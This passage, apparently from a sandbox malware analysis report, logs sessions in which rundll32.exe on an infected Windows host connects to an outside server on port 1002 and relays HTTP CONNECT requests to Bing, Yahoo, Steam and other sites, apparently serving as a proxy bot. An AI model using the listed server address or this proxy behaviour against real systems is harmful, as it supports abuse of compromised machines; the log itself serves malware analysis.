Dec 10, 2023 17:50:25.180901051 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:25.181906939 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50001	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:26.057604074 CET	224	IN	CONNECT guce.yahoo.com:443 HTTP/1.1 Host: guce.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:26.185250044 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50002	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:26.627763033 CET	222	IN	CONNECT www.yahoo.com:443 HTTP/1.1 Host: www.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:26.628741980 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50005	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:28.297276020 CET	234	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.55 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:28.298445940 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50008	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:31.511401892 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:31.639137983 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50009	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:32.336322069 CET	234	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.55 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:32.337515116 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50013	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:34.142443895 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:50:34.143446922 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50014	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:34.412014961 CET	230	IN	CONNECT consent.yahoo.com:443 HTTP/1.1 Host: consent.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:34.547313929 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50017	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:36.399184942 CET	234	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.55 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:36.400454998 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50019	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:37.217828035 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:37.218858004 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50021	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:38.662782907 CET	230	IN	CONNECT consent.yahoo.com:443 HTTP/1.1 Host: consent.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:38.663650990 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50023	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:40.361059904 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:50:40.362375021 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50025	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:42.448551893 CET	224	IN	CONNECT guce.yahoo.com:443 HTTP/1.1 Host: guce.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:42.449601889 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50031	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:45.528687954 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:45.529459000 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50034	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:46.542140961 CET	234	IN	CONNECT be.search.yahoo.com:443 HTTP/1.1 Host: be.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:46.671813011 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50038	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:50.431890011 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:50.432813883 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50041	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:51.875463963 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:50:52.002593994 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50043	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:52.329641104 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:52.330703974 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50044	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:52.408675909 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:50:52.409878016 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50053	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:55.194444895 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:55.195671082 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50057	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:56.132687092 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:56.133714914 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50064	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:00.217678070 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:00.218791008 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50067	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:02.617803097 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:02.619034052 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50072	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:03.509094954 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:03.510257959 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50073	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:03.791548967 CET	215	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:03.792927980 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50076	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:04.395284891 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:04.396465063 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50077	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:05.365295887 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:06.713483095 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50081	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:08.634821892 CET	215	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:08.635647058 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50082	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:08.637042046 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:08.637701035 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50085	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:09.370747089 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:09.371860981 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50090	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:10.042869091 CET	222	IN	CONNECT www.yahoo.com:443 HTTP/1.1 Host: www.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:10.170145035 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50092	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:10.492579937 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:10.493696928 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50097	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:11.533765078 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:11.534703016 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50099	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:12.329395056 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:12.330332041 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50101	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:13.277123928 CET	215	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:13.278059006 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50103	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:14.579821110 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:14.580782890 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50107	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:16.098932981 CET	219	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:16.099697113 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50111	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:20.218686104 CET	215	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:20.346244097 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50114	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:21.312385082 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:21.313256979 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50113	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:21.708919048 CET	219	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:21.709925890 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50117	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:22.291428089 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:22.292181969 CET	19	OUT	HTTP/1.1 200 OK
Dec 10, 2023 17:51:22.905292988 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50118	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:22.310705900 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:22.311563015 CET	19	OUT	HTTP/1.1 200 OK
Dec 10, 2023 17:51:22.952343941 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50121	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:24.594297886 CET	184	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:24.595323086 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50123	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:25.233788013 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:25.234880924 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50126	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:26.295587063 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:51:26.432708025 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50127	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:26.490715027 CET	219	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:26.491898060 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50128	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:26.578212023 CET	215	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:26.579123974 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50135	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:29.235230923 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:29.236222982 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50136	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:29.285345078 CET	184	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:29.286293983 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50137	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:29.637075901 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:29.637927055 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50134	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:29.690236092 CET	224	IN	CONNECT guce.yahoo.com:443 HTTP/1.1 Host: guce.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
